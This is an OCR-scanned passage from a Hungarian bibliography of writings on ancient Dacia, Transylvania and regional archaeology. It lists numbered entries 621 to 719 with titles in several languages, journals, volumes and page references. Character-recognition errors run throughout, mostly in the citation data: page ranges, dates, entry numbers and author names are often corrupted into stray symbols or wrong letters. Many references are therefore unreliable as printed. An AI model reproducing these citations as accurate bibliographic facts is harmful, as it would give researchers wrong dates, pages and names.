(i^O. Reissenberger f Ludwig — ). Der «Heidenkirchhof» zwiscben Kasten-
bolz und Girelsau in Siebenbürgen, — L. Mittheilungen der k. k.
Central-Commvssion :nr Erforschung und Erhaltung der Baudenlcmah
(Wien) VI. k. (1861) 335.1.
621. Über zwey neu aufgerundene heidnisclie Grabstütten in Siebenbür-
gen. — - L. Mittheilungen der k. k. Central-Commvssion ?">■ Erfor-
I., Reissenberger — Renier, 622—628. 73
schung und Erhaltung der Baudenkmah (Wien) Vili. k. (lí
295 296. 1.
622. — Der neueste archaologische Pund bei Hammersdorf. — L. Archív
des Vereines für siebenbürgische Landeskunde (Hermannstadt) N. V.
X. k. (1872)8 — 37. 1. Lenyomata u. a. czim alatt, u. <>. 1871.
(Ismertette Hampel József, Archaeologiai Értesítő Budapes Vil. k.
is;:; 83 85. l.i
623. Reychersdorff ( Georgius — ). Chorographia Transyluaniae, quae Dacia
olini appellata, aliarumqiie provinciarum et regionum Buccincta
descriptio et explicatio. Yieunae Austriae, 1 .V>< ). ír. — 1 — 3a, 1 5,
13a — 14a , 14b — 16. 1. (L. még e czim alatt : ■ Chorographia Tran-
silvaniae recognita et emendata» Schwandtner-nél, Scriptoren rerum
Htingaricarum veteres, ac genuini. Vindobonae, 1746 — 1748. ívr.
I. k., 78 í 785, 7^7. 793, 7{.ií. 795—796. 1.: a nagyszombati [1765-i
8r. kiadás: III. r., 204—206, i>()9— 210, 221, 222, -2-2:). :>:>3— <22i>. 1. ;
és a bécsi [lT66—170S-i]4r. kiadás.m. k., 79—80, 82—84, 91, '.>2.
93—95. l.i. — És: Moldáviáé, quae olim Daciae pars, chorographia.
Georgio á Reychersdorff, Transylvano auctore, nunc denuo reno-
vata, ac nonnullis necessariis annotatiouibus, in priori descriptione
onrissis foeliciter adaucta. U. </.. 26a, 27b — 28a 1. ( Schwandtner-nél
a. o., ívr. kiadás : I. k., 806, 807. 1. ; 8r. kiadás .- III. r.. i>:',s _239,
240—2 i 1 . 1. : 4r. kiadás: III. k., 106, 107—108. 1.)
624. Reméie. Ueber die Identitát der Magyarén und Jazyger. — L. Sitzungs-
beríchte der phil.-hist. Classe der kaiserlichen Akademie der Wissen-
schaften (Wien) 1849., :>. H., 10—13. 1.
&2ö. Renier f Ijson — >. Explication d'une inscription relatíve á un
curateur de la colonie de Lugdunum. — L. Renier, Mélanges
d'épigraphie. Paris, 1854. 8r. — 15 — 16. 1., 1. sz. jegyzet (I. sz.
értekezés).
626. — Inscriptions relatives aux dilectatores, fonctionnaires chargés de
présider au recrutement de l'armée dans 1J empire romáin. —
L. Renier, Mélanges d'épigraphie. Paris, 1854. 8r. — 85 89, 93 —
'.'.*). 1. (III. sz. értekezés).
C>21 . — Ce <]iie signifient les mots a militiü dans les inscriptions latines. —
L. Renier, Mélanges d'épigraphie. Paris, 1854. 8r. - 213 — 214. 1.,
10. sz. ; 241. 1., 23. sz. (X. sz. értekezés).
62& — Recneil de diplőmes militaires. Paris, ls7ü. ír. -I. f.. 189 193. 1..
74 I., Kenier— Kómer, 629—633.
U.sz.;195— 197. 1., 42. sz. ; 100—202. L, 13. sz. ; 213—218.1.,
16. sz. és XXI— XXIV. tábla; 219- 221, 1., 11. sz. ós XVII— XX.
tábla.
— Rhein. — L. Becker 66. sz.
629. Robortellus f Franciscus — ). De provinciis Romanorum et earum
distributione atque administratione. — L. Joannes Georgiw Grae-
vius, Thesaurus antiquitatum Bomanarum. Venetiis, 1732. ívr. —
III. k., 4—5, 0, 9. 1.
630. Roesler f E. Róbert — /. Die Geten und ihre Nachbarn. — L. Sitzungs-
berichte der phil.-hist. Classe der kaiserlichen Akademie der Wissen-
schaften (Wien) XLIV. k. (1863) 140— 187. 1. Lenyomata e czím
alatt: «Zur Geschichte der Untere n Donaulander. Die Geten und
ihre Nachbarn. » "Wien, 1864. 8r.
631. — Das vorrömische Dacien. — L. Sitzungsberichte der phiL-hist. Classe
der kaiserl. Akademie der Wissenschqften (Wien) XLV. k. (1864)
311- -370. 1. Lenyomata e czím alatt: «Zur Geschichte der Unte-
ren Donaulander. Das vorrömische Dacien.*) Wien, 1864. 8r. (Is-
mertette Hunfalvy Pál, 1. V. osztály, 36. sz.)
L. Hunfalvy Pál 330. sz.
632. Rómer (Flóris). A rómaiak határvédelmi eródítvényeiről Magyaror-
szágon és Erdélyben. — L. A magyar orvosok és természetvizsgálók
munkálatai X. k. (Pest, 1864) 81. 1. (v. ö. u. o., 11. 1.) és XI. k.
(Pozsony, 1865) 150—151.1.
633. — Magyar régészeti krónika. - - L. Archaeologiai Közlemények (Pest)
IV. k. (1864) : 161. 1., 640—651 és 656. sz. ; 162. 1., 666, 671, 678,
681, 688 (?) sz.; 163. 1., 697, 698 (?) sz. ; 164. 1., 707. sz.; 165. 1.,
713. sz. ; 166. 1., 722. sz. ; 167. 1., 729 és 736. sz. ; 169.1., 177 (volta-
képen 747) és 752. sz. ; 169—170. 1., 755, 756(?), 760. sz. - V. k.
(1865) : 67. 1., 772(?j és 773—774. sz.— VI. k. (1866) : 104. 1., 81 6(?)
sz. ; 109! 1., 830 (?) sz. ; 110—111. 1., 837 és 841 (?) sz. ; 164. 1.,
848. sz. ; 171. 1., 869 és 873. sz. ; 172. 1., 885. sz.; 173. 1., 890. sz. ;
175.1., 893. sz. : 177. 1., 900-901. sz. ; 178. 1., 908. sz. ; 179.1.,
914. sz. : iso. 1.. 916. sz. ; 182. 1., 925—926 ós 930. sz. ; isi. 1., 936
937. sz.— VII. k. (1868): 76.1., 948 és '.150—951. sz. ; 182. 1., 070
072. sz. ; ÍM, 1., 985 és 990 (?) sz. ; 184—185. L.OOl.sz.; 187. L,
1000— 1001. sz.; 180.1., 1017 és 1020— 1021. sz.; 190. 1., 1030. sz. ;
101. 1., 1036—1037. sz. ; 105 106.1.. 1060. sz. ; 107. 1.. 1072. sz. ;
L, Kómer, 634 -642. 75
198. 1., 1085. sz. (Elejét 1. Ipolyi 337.sz., folytatásai pedig Hampel
275. sz.)
634. — A két hazában talált régi arany műemlékekről, különösen a
szarvasszói — mármaros-megyei — arany kincsről. L. Archaeo-
logiai Közlemények (Pest) V. k. | 1865) 30, 31, 31 35, 36, 37 i5. 1.
635. Őskori műrégészet. Pest, 1866. 8r. (Műrégészeti kalauz különös
tekintettel Magyarországra I. r.) 19. 1, ; 20. 1. és 30. ábra ; 29. 1. és
13— 44. á. ; 35. 1. és 19. á.; 39. 1. és 62. á. : 40. 1. és 66 67. á. ;
41—42. 1. és 69—72. á. : 48. 1. ; 50. 1., *l jegyzet és 95. á. : 64. 1. és
111. á. ; 70. 1. ; 71. 1. és 1 1 7. á. : 70. 1. ; 80. 1. ; 82. 1. : 86. 1. ; 89. 1. ;
100.1. és 155—156. á. ; 101.1.; 107.1.; 108.1.; 11*. 11'.'. 120, 122,
123, 124, 12:,. 127, 128, 129. 1.
636. — A barlanglakókról, nevezetesen a magyarhoni lakott barlangokról.
— L. Archaeologiai közlemények (Pest) VII. k. (1868) 118, 121. 1.
637. — Apercu sur l'étude des temps prélűstoriques en Hongrie. — L.
Gongrés international d'anthropologie et (V archéologie préhistoriques.
Compte rendű de la •/»"' session, Paris, I86r/ (Paris, 1868) 329. 1.
»iMs. — ElsŐ obsidian-eszközök Magyarországon. — L. Archaeologiai Köz-
lemények (Pest) VII. k. (1868) 162. 1., 3— 4, 5—0. ábra; 163.1.,
*) jegyzet; 164. 1.. 9a-b ábra.
639. — Az ősrégi agyagmívesség viszonya a történelemhez. — L. Századok,
a magyar történelmi társulat közlönye (Pest) II. k. (1868) t28,
430. 1.
641 >. — Archaeologiai levelek. III. Margittay Gábor urad. építész-mérnök
urnák Élesden. — L. Archaeologiai Értesítő iPest) I. k. (1869)
74—7!). 1.
641. — A sz. -erzsébetfalvi lelet. — L. Archaeologiai Értesítő (Pest) HL k.
(1870) 269—275. 1. és IV. k. (1870) 12—14. 1. (V. ö. >/. o., III. k.
1870] 242. 1.; 322.1., 11. sz. — IV. k. 1870 81.1.)
642. — A magyar nemzeti múzeum római feliratos emlékei. Desjardins F.nv">
franczia szövegét a vallás- és közoktatásügyi magyar kir. miniszter
meghagyásából magyarította, bővítette és külön pótlékkal kiegészí-
tette— (Acta nova musei nationalis Hungarici. Tomus I. Inseriptio-
nes mommientorum Romanorum eiusdem musei nationalis in Buda-
pest). Budapesten, 1*73. ívr. — 107—108. 1.. 189. sz. : 132. 1., 239
és 239»- sz. ; 139. 1., 273. sz. : ] V-). L. 314 és 31 S. sz. ; 150- 151. 1.,
349. sz.: 168. 1.. 145, 146, 447, 448 (?) sz. ; 169.1., 149
76 I., Rómer— Rutilius, 643 — 650.
171.1., ír2. sz. ; 177 — 1 Si2. L, 588 — 000. sz. (A franczia rövidebb
eredetit 1. Desjardins 154. sz.).
643. - Die römiscben Inschriftensteine des ungarischen National Mu-
seums. - L. a Pester Lloyd 1874. (XXI.) évf., 59 és 60. számainak
tárczájában. Lenyomata u. a. czím alatt, u.o., u. a, ér. — IV, VII. 1.
644. - - Kiadatlan római felíratok. — L. Arckaeologiai Közlemények (Buda-
pest) X. k., 1. f. (1876) 57. 1., LXIV. 1, 3 (?) sz.
645. - Főtitkári beszéde az embertani <;s őstörténelmi congressuson. — L.
( 'ongrés international á" anthropologie et d' archéulogie préhistoriques.
Compte-rendu de la huitiéme session <> Budapest 1876. (Budapest,
Is77) 11, 13. 1. (Discours du secrétaire général).
646. — Iíésultats généraux du mouvement arcbéologique en Hongrie avant
la YIIIe session du congrés international d'antbropologie et d'ar-
cbéologie préhistoriques a Budapest 1 876 (Tirage de la premiere
partié du second volume du Compte-rendu du mérne congrés). Bu-
dapest, 1878. 8r, — 3, i. 5, 11, 12, 14, 16, 43, U, 45, 46, 49, 57,
58, 59, 65, 70—72, 75—77, 89, 98, 99, 100, 101, 104, 108, 112—
115, 154, 156, 158, 185, 187.1.
L. Kőváry 401. és Orbán 551. sz. (L. még: TV. rész, 1. sz.)
— Rosenberg. — L. Olahus 547. sz.
617. Rossi ( Giovanni Battista de — ). Relazione dei lavori fatti . . . per il
Corpus Inscriptionum Latinarum dal Novembre 1 856 all' Ottobre
1857. — - L. Monatsberichte dei' königl. preuss. Akademie der Wissen-
schaften c// Berlin (Berlin) 1857. évf., 530. 1.
— Rossi ( Gio. Giacomo de — ). L. Bellori 70. sz.
648. Rossi f Matteo Gregorio — j. História di tutte le guerre di Transilvania
fatte da Traiano imperatore, dissegnata con ogni cura et esattezza
dalia sua colonna eretta in Roma. Nyomtatási lielyn. (Roma),
1684. ívr.
649. Rückert < E. — ). Die Pfahlbauten und Yölkerscbichten Osteuropa's,
licsonders der Donaufürstenthümer. Würzburg, 1869. 8r., elszórva,
főleg: 4, 6—11, 28, 43—44, 49, 50, 52, 59. 1.
— Rupertus f Christ. Ad. — ). L. Reinesius 618. sz.
650. Rutilius (Claud. — Numatianus). Itinerarium. Edit. Th. ■/. ah Alme-
loveen. Amstelaedami, 1687. 12r. — 89. 1.
I., Sacken - Scháfer, 651-660.
S.
651 . Sacken ( Ed. Freiherr von . Leitfaden zur Kundé des heidnischen
Alterthumes mit Beziehung auf die österreiehischen Lánder. Wien,
1865. 8r. ml 1.: 88. 1., 23. ábra; 95.1., 32. A.; 124. L; 125. L;
146. 1.. 56. á.; 147. 1., 58. á. : L51 1., 64. a.: 157. 1.: 161. 1.: 191. 1.
(Ismertette: Torma Károly, 1. Henszlmann, Uj korszak Pesl I. k.
[1865] 1G0 — 163. 1. — L. Torma 793. -
— — L. még : TV. rész, 17 — -20. sz.
K~d. Salamon (Ferencz). Buda-Pest története. Első rész. Buda-Pest az
ó-korban. Budapest, 1878. 8r. — Elszórva, főleg: 167 -179, 214
217,258 259,283.1.
653. Sándor István). Az országunknak hajdani lakosairól. — L. Sándor,
Sokfi le i ( lyón YII. d. (1801 ) 46, 48—50. 1. (v. ö. IV. d. 1 796 111.1.
és a hozzácsatolt tábla 1. á.)
654. — A dákusokról, gyétákról és jazigyesekről. L. Nándor, Sok/t >
(Bécs! IX. d. (1808) 44—47. 1.
655. — Strábo és Plinius. — L. Sándor, Sokféle (Bécs) IX. d. (1808) 17
18, 50.1.
lióti. — Némely jegyzetim Schönvisner úrnak becses munkájához. - - L
Sándor, Sokféle(Bées) IX. d. (1808) 131, 132, 1 33— 1 36. 1. és I. tábla.
(L. Schönvisner 678. sz.)
657. — A magyar helyeknek mostani s hajdani neveik. — L. Sándor, Sok-
féle (Bécs) IX. d. (1808) 178, 179, 181—182, 182 183,186, 188,
189, ll»5. 196—197. 1.
658. — A magyar történeteket illető jegyzetim. — L. Sándor, Sok/éli Bécs)
X. d. (1808) 101, 107—108, 146—1 5 7. 152. 1.
659. Saxius [ ' 'hrvstophorns . Lapidum vetustorum epigrammata el pi
lum animadversionum in aliquot classica marmorum Ii'M'M'MAl \.
Lipsiae, 1746. ír. (Scholia in -Tan. Gruteri Thesaurum, in Reinesii
Syntagma, in Marqv. Gudii Inscriptiones, in cel. Muratorii Nóvum
Thesaurum Inscriptionum), elszórva az illető miivek számai sze-
rint. 1 9—83. 1.
660. Scháfer (Johann Adam — ). Caii Plinii Caecilii Secundi opera 1 '•
Plinius Cácilius Secimdus Werke). Wien und Triest . 1814. sr.
III. k.. 307—309. 1. (jegyzel Plinius VIII. könyve í, leveléhez).
I- Schafarik-Schmidt,
661-669.
661.Schafarik (Paul Jo,ej,h . über die Abkunft der Slawen nach
Lorenz Surowiecki. Ofen, 1828. 8r., elszúrva, főleg: 1 2S 131, 132.
143,155 156. 1. (s elszórva 158- 170.1.)
662. - Slawische Alterthümer. Deutsch von Mosig von Aehrenfeld, heraüs-
gegebenvon Heinrith Wutike. Leipzig, 1843- 1 844. 8r. — Elszórva
főleg:Lk,31 32,246,247,248,292 293,468 170,473,474,519'
520 522.1.-n.k.: 159,173, 199 -206.1. (Ismertette : Kurz Antal,
1 Kurz> W«7«í»für Geschichte, Literatur und allé Denk- und Merk-
würdigkeiten Siebenbürgens [Kronstadt] I. k. [1844] 138—439 1 |
663. Scheint , Dániel (?.- , Das Land und Volk der Szeckler in Siebenbür-
gen. Pesth, 1833. 8r. — 115—120. 1.
664. Schendo f Michael - de Vanderbech , ffistorico-physico-topographica
Valacluae Austriacae subterraneae descriptio, ad famigeratissimum
Daciae secretarium Samuelem Köleserium de Keres-eer epi-
stolari stylo exarata. — L. Kölesén Auraria Komano-Dacicajának
Seivert-féle pozsony-kassai 1 780-i 8r. kiadásához mellékelve. X ív
7. L. 2-ik oldal ; X ív, S. 1., 1_2. 0. ; Y ív, 5. 1., 1-2. o. (Korábban
megjelent: Albrizzi, Galéria di Minerua riaperta czímfí velenczei
folyóirata 1724. évf., 1. r.. 3. s köv. 1.) L. Köleséri 385. sz.
665. Scheyb , Franciscus < 'hristophorus de— J.Peutingerianatabulaitineraria
quae in augusta bibliotheca Vindobonensi nunc servatur adcurate
exscripta. Vindobonae, 1 753. ívr. — Segment. VI, VII, VIII.
666. Schlauf f Kari — ). Neue archáologische Funde in Karlsburg. - L.
Bielz, Tramsilvania, Wochenschrift für siebenbürgisehe Landes-
kunde, Literatur und Landeskultur (Hermannstadt) N. F. I. évf
(1861) 105-106. 1. (Kari Sch—f. jegy alatt). V. ö. Ackner 32. sz. és
Schmidt 072. sz.
667. Schmidl (Dr. -). Reise-Notizen zu Kunst- und Alterthum. - L.
Sitzungsberichte der phü.-hist. Classe der kaiserl. Akademieder Wissen-
schaften (Wien) V. k. (1850) 154—156. 1.
- Schmidt i Valdemar—). L. IV. vesz, 22. sz.
668. Schmidt t Wilhelm -). Die Geten und Daken. - L. Programm und
Jahres-Bericht des k. k. katholüchen Staats-Ggmnasiums in Hermann-
stadt für das Schuljahr 1857. (Hermannstadt, 1857. 4r.) 3— 1!). 1.
669. - Die Geten und Daken. - L. Archiv des Vereines für siebenbürgisehe
Landeskunde (Kronstadt) N. F. IV. k., 1. f. (1859) 3—79 1 és 2 f
(1860) 135—191.1.
I., Schmidt— Schuermans, 670 679. 79
670. Daken und Geten in ikrem Verhaltnisse zu Rom, in der Zeil
von Cajus Július Caesar bis auf Kaiser Domitian. — L. Programm
des /,-. /.-. katholischen StaatsrGymnasiums in Hermannstadt für das
Schuljahr 1859 60 (Hennannstadt, 1860. ir.) 3 11. 1. és u. o., für
das Schuljahr 1860/61 (Hermannstadt. 1861. 4r.) 3— 8. 1.
671.- Annust Bielowski's «Kritische Vorhalle zur Geschichte Polensi
in ihren dic Vorgeschichte Siebenbürgens aufhehmenden Punkten.
— L. Bielz, Transsilvania, Wochenschrift für siebenbürgische Lan-
deskunde, Literatur und Landeskultur (Hermannstadt) X. V. I. évf.
(1861) 37—41, 49—57. 1.
672. — Bemerkungen zu der in der Transsilvania Nr.9 gebrachten Nachricht
iiber den neuen, in Karlsburg líeinachten epigraphischen Fund. —
L. Bielz, Transsilvania, Wochenschrift für siebenbürgische Landes-
kunde. Literatur und Landeskultur (Hermannstadt) N. F. I. évf.
i 1861 1 140- 1 i:>. 1. (V. ö. Schlauf 666 sz. és Ackner 32. sz.)
(i7::. — Kollontai's historische Forscliungen in ihreni Bezuge auf die Vor-
geschichte von Siebenbürgen. • — L. Bielz, Transsilvania, ^'otdien-
Bchrift für siebenbürgische Landeskunde. Literatur und Landes-
kultur (Hermannstadt i X. F. I. évf. (1861 ) 177— is:!. 1.
674. — Das Erscheinen der Slaven unter den Geten und Daken nach der
lechitischen Chronik. — L. Bielz, Transsilvania, Wochenscdirift für
siebenbürgische Landeskunde, Literatur und Landeskultur (Her-
mannstadt) N. F. II. évf. (1862) 11—15. 1.
675. — Die Stammburu; der Hunyade in Siebenbürgen. Hermannstadt. 1 865.
Sr. — 11.1.
676. — Déva vára Erdélyben. — L. .1: erdélyi múzeum-egylet évkönyvei
(Kolozsvár) IV. k. (1868) 93—95. 1.
(i77. Schoenvisner (Stephánvs — i. In Rornanorum iter per Pannóniáé
ripam a Tauruno in Gallias ad Leg. XXX. usque, ut illud in Anto-
nini itinerario postremis Wesselingi curis edito deseribitur com-
mentarius geographicus occasione repertarum columellarum millia-
rium concinnatus. Budae, 1 781. 8r. — 227 — 231 . 28-1.1. ( Axlpendix .
( i 7 ^ . — Xotitia rei numariae ab origine ad praesens tempus. Buda.. 1801.
4r„ elszórva, főleg : 17—18, 10, 21, 23, 24— "25, 20—27, 30, 30—31,
31, 33, 34, :i7. in. 15. Is. 19, 52. 53, 54, 57. 64, 68, 75— sí. 1.
V. ö. Sándor 656. sz.
67!». Schuermans f M. II. . Si^les figulins (époque romaine). Bruxelles,
s<» I., Schulcz— Schurzfleisch, 680—691.
1867. 8r. (Extráit des Annales de l'Académie d'archéologie de Bel-
gique, tome XXIII, 2e série, tomelIL), 254 1., 5371. sz.
680. Schulcz ( Ferencz ). Vajda-Hunyad váráról. — - L. Századok, a magyar
történelmi társulat közlönye (Pest) III. k. (1869) 129. 1.
681.— A vajda-hunyadi vár kaputornyának falában lelt római féldom-
borrnű. — L. Archaeoloyiai Értesítő (Pest) III. k. ( 1870) L2S4. 1.
- Schüler ( Prof. —). L. Gerhard 231, sz.
<'.sl>. Schuller (Johann Carl — ). Umrisse und kritische Studien zur Ge-
schichte von Siebenbürgen. Hermannstadt, 1840. 8r. — l.f., 4 —
20. 1. (V. ö. Kemény 369. sz.)
683. — Ueber den gegenwártigen Zustand der historisclien Studien in
Siebenbürgen. — L. Sitzunysberichte der phil.-hist. < lassr der kaiser-
lichen Akademie der Wissenschaften (Wien) III. k. (1849) 1 í-3 — 144 1.
684. — Bericht über die neuesten Erscheinungen der siebenbürgiscb-deut-
scben Literatur, welche die Landeskunde zum Gegenstande babén,
und über den gegenwártigen Zustand des Vereines für siebenbür-
gische Landeskunde. — L. Sitzungsberichte der phil.-hist. Classeder
kaiserlichen Akademie der Wissenschaften (Wien) IX. k. (1852) 493—
Í99. 1.
<»'s-'"). — Siebenbürgen vor Herodot und in dessen Zeitalter. — L. Archiv
für Kundé österreichischer Geschichts-Quellen (Wien) XIV. k. (1855)
'.»7 — H>7. 1.
686. — Der Heidenkircbhof bei Kastenbolz. — L. Transsilvania, Beiblatt
zum Siebenbürger Botén (Hermannstadt) 1 856. évf., I 5. sz., 57—58 1.
0s7. ■ — Arcbáologiscbes. — L. Transsilvania, Beiblatt zum Siebenbürger
Botén (Hermannstadt) 1859. évf., 32. sz., 128. 1.
688. — Arcbáologisches. — L. Bielz, Transsilvania, Woehenschrift íür sie-
benbürgische Landeskunde, Literatur und Landeskultur (Her-
mannstadt) N. F. I. évf. (1861 ) 153—156. 1.
689. — Martin Opitz in Weissenburg. — L. Bielz, Transsilvania, Bei-
blatt des Siebenbürger Botén (Hermannstadt) N. F. III. évf. (1863)
168 170.1.
690. - MichaelJohann Ackner. — L. Oesterreichische Woehenschrift für Wis-
senschaft, Kunst und öffentliches Lében. Beilage zur k. Wiener
Zeitung 1863. évf. (I. B. Heft 1— 26. Wien, 1863. 8r.) 97—101. 1.
(üli. Schurzfleisch (Conr. Samuéi — ). Disputationes bistoricae civiles.
Lipsiae, 1699. ír. — Propositiones historico-geographicae. Dispu-
I., Schuster— Schwicker, 692—699. 81
tatio: \I.YI. Jo. Chrütophoru* h'rnesti 1687.; XI.VII (B) Joanrn
Francüci 1690. (Dacia consularis, 1. Francisci 221. bz.); LXI.Jo.
Fmnciscus Buddeus l(is,.: I.XII. Andreas Schulerus 1688. I - :
Opera historica politica. Berolini, 1690. (hibából 1590-re v&n téve) ír.
32-í 325. 1. (XV, s/... az hunit idézett kiadás XI.VII. sz. dispu-
tatiója); 326 — 327. 1. (XVI. sz., az imént idézeti kiadás XL VI. sz.
disputatiója) ; 334 335. 1. (XVIII. sz.. az iméni idézett kiadás
LXI. sz. disputatiója); 1089 1090. 1. iI.XXXY. sz., az iméni
idézett kiadás T.X11. sz. disputatiója).
692. Schuster (Friedr. Wilhelm —). Woden. Ein Beitrag zur deutschen
Mythologie. — I,. Programm der evangelischen Untergymnasiums in
Mühlbach und der damit verbundenen Lehranstalten ~-hih Schluszt ■/
Schuljahres l855/a (Hermannstadt, 1856.) 5 — í-6. 1.
693. — Aufgaben der germanistischen Studien in Siebenbürgen. I..
Programm des evangelischen Untergymnasiums in Mühlbach und der
damit verbundenen Lehranstalten zum Schluszt des Schuljahres l^V^
(Hermannstadt, 1858)5 is. I.
(i'.tí. — Ueber alté Begrábniszstátten bei Mühlbach. — L. Programm des
evangelischen Untergymnasiums und </<r damit verbundenen Lehran-
stalten in Mühlbach am Schlusze des Schuljahres I^t;<> -? (Hermann-
stadt, 1867) 3—16. 1.
695. — Eine Heimstattc aus der Steinzeit. — L. Siebenbürgis'ch-deutsches
Tagéblatt (Hermannstadt) 1876. évi'., 710. sz., 3205. 1.: 711. sz..
3209—3210. 1. : 712. sz., 3213—3214. 1. (tárcza).
690. Schwanz (Friedrich — von Springfels). Fragmente aus der Oberst-
leutnants — BesclnvibmiL!; der oesterreichischen Walachey. - I,.
Ungrisches Magazin (Preszburg) 111. k. (1783) 182, 107— 19s. 1.
— Schwartz (Jo. Conradus — ). L. Cellarius 121. sz.
097. Schwarzius i < 'hristianus Gotlieb— ). Miscellanea politioris humanitatis.
Norimbergae, 1721. 4r. — 1 — 27. 1. és 1. tábla, 2. ábra (De moni-
mento quodam Corneliae Saloninae angustae quondam dicato);
27 — 62. 1. (De collegio utriculariorum).
— — L. Baierus 55. sz
698. Schwarzott ( -/. G. — /. Die Hercules Báder bei Mehadia. Ein monogra-
phischer Versnek. Wien. 1831. 8r.— 7—11. 33- 13. 1. I. . Fodor
214. sz.
09 9. Schwicker Juhann Heinrieh . Geschichte des Temeser Banats
Repertórium f
82 I., Schwicker— Seidl, 700-705.
Grosz-Becskerek, 1861. 8r., elszórva, főleg: 7 26, 27, 13b 140. 1.
és második kiadása: Pest, 1872. 8r. — 7—19, 435—438. 1.
7(>u. - Kurz gefaszte Geschichte der Besitzverháltnisse des Csanáder Bis-
thums von Paul von Oltványi. Beurtheilt von — .Wien, ls(is. sr.
Lenyomat az Osterreichische Vierteljahresschriftfür katholische Theo-
loyii (Wien) VII. évf., 2. f.-éből, 11.1.
701. — Statistik des Königreiches Ungarn. Stuttgart, 1877. 8r. — I — 2,
3 — i. 1. (Ismertetését 1. Síebcnbürgisch-deittsches Tageblatt [Hermann-
stadt] 1S77. évf., 1313—1315, 1319, 1331— 1334. 1. és Korrespon-
denzblatt des Vereines für Siebenbürgische Landeskunde [Hermann-
stadt] I. k. [1878] 6. sz., 74—70. 1.)
- L. még: Böhm 88. sz., Gooss 239, 240. sz., Hunfalvy 331. sz..
Szentkláray 746. sz.
71 12. Secchi. Collana d'oro con iscrizione euganea trovata in Vallachia. — L.
Bull ettino deli' Instituto di corrispondenza archeológusa (Roma) 1843.
évf., 6. f., 92—93. 1.
703. Seidl (Johann Gábriel — ). Chronik der archáologischen Funde in der
österreichischen Monarcliie. — L. A. Adolf Schmidl, Oesterreichische
Blátter für Literatur und Kunst (Wien) 1846. (III.) évf.. 19. sz.,
146—147, 147, 148.1; 20. sz., 158. 1. 1840—1845-röl- 45. sz.,
345.1.; 136. sz., 1058—1060.1. és 1847. (TV.) évf., 244. sz., 969,
970(?);278. sz.. 1101—1103.1.; 280. sz., 1111 — 1112.1. 1845—
1846-ról (lenyomata u. a. czim alatt, u. o., u. a. 8>\, s ennek rövidlete :
Satellit des Siebenbürger Wochenblattes [Kronstadt] 1846. évf., 12. sz..
I 79. 1.) Az előző évieket 1. Steinbüchel 726. sz. — E közlemény
folytatása a következő szám alatt.
704. - Beitráge zu einer Chronik der archáologischen Funde in der öster-
reichischen Monarcliie. -- L. Archív für Kundé östen eichischer
Geschichts-Quellen (Wien) III. k. (1849) 183—192. 1. — VI. k. | Í85 1 i
235, 237—243. 1. — IX. k. (1853) 15!)— 162, 164—166. 1. — XIII.
b. (1854) 131—132, 133—139. 1. — XV. k. (1856) 3 10—317, 318—
331.1. (Lenyomatuk u. a. czím alatt, u. o. 8r. — I. füzet [1849] 23—
32. 1. — II. füzet [1851] 31, 33—39. 1. — ni. füzet [18531 79—82,
84- 86. 1. - IV. füzet [1854] 59—60, 01—07. 1. — V. füzet [1851
78 79,80 93.1.). E közlemény eleje az előbbi szám alatt ; foly-
tatásai 1. Kenner 'Ml. sz.
705. über den Dolichenus-Cult. - L. Sitzungsberichte der phil.-hist.
I., Seidl-Seulescu. 706 -715.
Classt der kaiserlichen Akademú der Wissenschaften (Wien) XIÍ. k.
(1854) 19, 17; 57 58, 28 -_".>. (Lenyomata m. a. czim alatt, u. o.,
n. a. 8r. '
706. fcíachtrágliches über den Dolichenus-Cult. — L. Sitzungsberichte
der phil.-hist. Classe der kaiserliehen Akademú der Wissenschaften
(Wien) XIII. k. i 1854) 239 240, 260. 1.
707. Seivert ( loannes . Enscriptiones monumentorum Romanorum in
Dacia Mediterranea. Viennae, 177.'!. ír. (Ismertette: '•. Gz., Aller-
gnádigst-privilegirti - ínzeiyen, aussammtlich-kaiserlich-königlichen Krb-
lándern [Wien 177::. III. évf., 38. d., 297 301.1.)
708. — Von neu entdcekten römischen Steinschriften. — L. Allergnádigst-
privilegirte Anzeigen, aus sammtlich-kaüerlich-königliehen Erblandern
(Wien) L775. (V.) évf., 28. <l. 220 222. 1. i S .jegy alatt. Sieben-
bürgische Briele, III.)
709. — Von neu entdeckten Steinschriften. — L. Windisch, Ungrisches M<t<ia-
zin (Preszburg) 1781.(1.) évf., 19—53.1. i Siebenbüriíische Briefe.
Zweyter Brief.)
710. — Von römischen Steinschriften. — L. Windisch, Ungrisches Magazin
(Preszburg) 1.781. (I.) évf., 74 — 77.1. (Siebenbürgische Briefe. Pünf-
ter Brief.)
711. — Von einigen seltenen römischen Münzen. — L. Windisch, Ungrisches
Magazin (Preszburg) I7sl. (I.) évf., 353 — 358. 1. (Siebenbürgische
Briefe. Zehnter Brief. )
71l\ — Ob die siebenbürgiscken Sachsen Nachkommen der altén Dazier
sind '? - - L. Neues Ungrisches Magazin i Preszburg) I. k. (1792)
333—347.1. (3. jegy alatt.)
713. Sestini ( Domenico — ,. Descrizione del viaggio fatto da Vienna per il
Danubio insino a Rusciuk, e di la per terra insino a Várna, dove
per il Mar-Nero mi rési a Constantinopoli. — L. Sestini, Viaggi
i opuscoli íZú-m-2. Berlino, 1807. 8r., elszórva, főleg: \-> ÍQ, 18.1.
714. - — Viaggio curioso-scientifico-antiquario per la Valachia, Transilvania
e Ungheria fino a Vienna. Firenze. 1815. 8r., elszórva, főleg: Í3,
45, 00—61, 74—75, 99—101, 102, 106, 1 I I — 1 13. 1 13—1 16, 1 19—
1 20. 1.
715. Seuiescu ' K. (r. — ,. Despre numisme (monede antice). - L. Archiva
Albinéi pentru archeologie romint si industrit (Jasii) 1844. évf., I
15 -17. 1.
6*
84 I., Severini— Stadler, 716—725.
7 Ili. Severini < Joarpiea . Commentatio historica de veteribus incolis
Hungáriáé Cis-Danubianae a Morava amne ad Tibiscum porrectae
ex probal issimis scriptoribus deducta, stb. Sopronii, 1707. 8r., el-
rva, főleg: 13 14, 16 17, 28— 33, 45— 5 1 . 1.
717. - Pannónia veterum monumentis illustrata cum Dacia Tibissana.
Lipsiae, 1771. 8r., elszórva, főleg : 40 — 41,83—85, 131 — 140, 148,
151, 153. 154. 1.
718. Sickler ( Fr. Kari Ludivig — ). Handbuch der altén Geographie. Zweite
Auflage. Cassel, 1832. 8r. 2 k., elszórva, főleg : I. k., 193—202. 1.
719. — Schulatlas der altén Geographie, mit historisch-erláuternden Rand-
Annierkungen, insbesondere zn dem Handbuche und Leitfaden der
altén Geographie gebörig. Cassel, évn. ( 1 832) kereszt ívr. — 9-ik tábla.
— Silvestre (J. B. — ). L. Champollion 122. sz.
